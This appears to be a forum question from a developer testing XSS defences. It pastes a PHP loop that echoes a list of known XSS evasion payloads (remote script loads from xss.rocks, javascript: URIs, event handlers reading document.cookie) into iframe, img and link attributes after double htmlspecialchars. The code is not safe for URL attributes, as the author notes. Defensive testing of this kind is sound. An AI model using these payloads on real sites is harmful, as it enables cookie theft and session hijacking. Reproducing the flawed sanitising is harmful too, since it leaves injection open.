hi i am trying to filter outputs of users who will put free text and wanna prevent XSS attacks so i tried this function i made to check
<?php
$patterns = [
"<SCRIPT SRC=http://xss.rocks/xss.js></SCRIPT>",
"javascript:/*--></title></style></textarea></script></xmp><svg/onload='+/\"/+/onmouseover=1/+/[*/[]/+alert(1)//'>",
"javascript:alert('XSS');",
"JaVaScRiPt:alert('XSS')",
"javascript:alert("XSS")",
"javascript:alert(\"RSnake says, 'XSS'\")",
"\<a onmouseover=\"alert(document.cookie)\"\>xxs link\</a\>",
"\<a onmouseover=alert(document.cookie)\>xxs link\</a\>",
"<IMG \"\"\"><SCRIPT>alert(\"XSS\")</SCRIPT>\"\>",
"javascript:alert(String.fromCharCode(88,83,83))",
"# onmouseover=\"alert('xxs')\"",
" onmouseover=\"alert('xxs')\"",
"x onerror=\"javascript:alert('XSS')\"",
"javascript:alert('XSS')",
"javascript:alert('XSS')",
"javascript:alert('XSS')",
"jav ascript:alert('XSS');",
"jav	ascript:alert('XSS');",
"jav
ascript:alert('XSS');",
"jav
ascript:alert('XSS');",
"<IMG SRC=java\0script:alert(\"XSS\")>",
"  javascript:alert('XSS');",
"<SCRIPT/XSS SRC=\"http://xss.rocks/xss.js\"></SCRIPT>",
"<BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=alert(\"XSS\")>",
"<SCRIPT/SRC=\"http://xss.rocks/xss.js\"></SCRIPT>",
"<<SCRIPT>alert(\"XSS\");//\<</SCRIPT>",
"<SCRIPT SRC=http://xss.rocks/xss.js?< B >",
"<SCRIPT SRC=//xss.rocks/.j>",
"`<javascript:alert>`('XSS')",
"http://xss.rocks/scriptlet.html <",
'http://xss.rocks/xss.js',
'http://xss.rocks/xss.js, http://xss.rocks/xss.js, http://xss.rocks/xss.js',
"<script>alert('XSS')<script/>"
];
foreach ($patterns as $pattern) {
$pattern = htmlspecialchars(htmlspecialchars($pattern));
?>
<iframe src="<?php echo $pattern; ?>"></iframe>
<iframe src="<?php echo $pattern; ?>" sandbox="allow-scripts"></iframe>
<img src="<?php echo $pattern; ?>">
<a href="<?php echo $pattern; ?>">Anchor</a>
<?php } ?>
i used htmlspecialchars(htmlspecialchars($pattern)) to encode any < or > but it does not seem to prevent the attacks
and iframe without allow-script always runs the script as soon as it opens
i was wondering how to sanitize the input completely to prevent this attack completey
i only expect urls and when second link is clicked it runs a script too
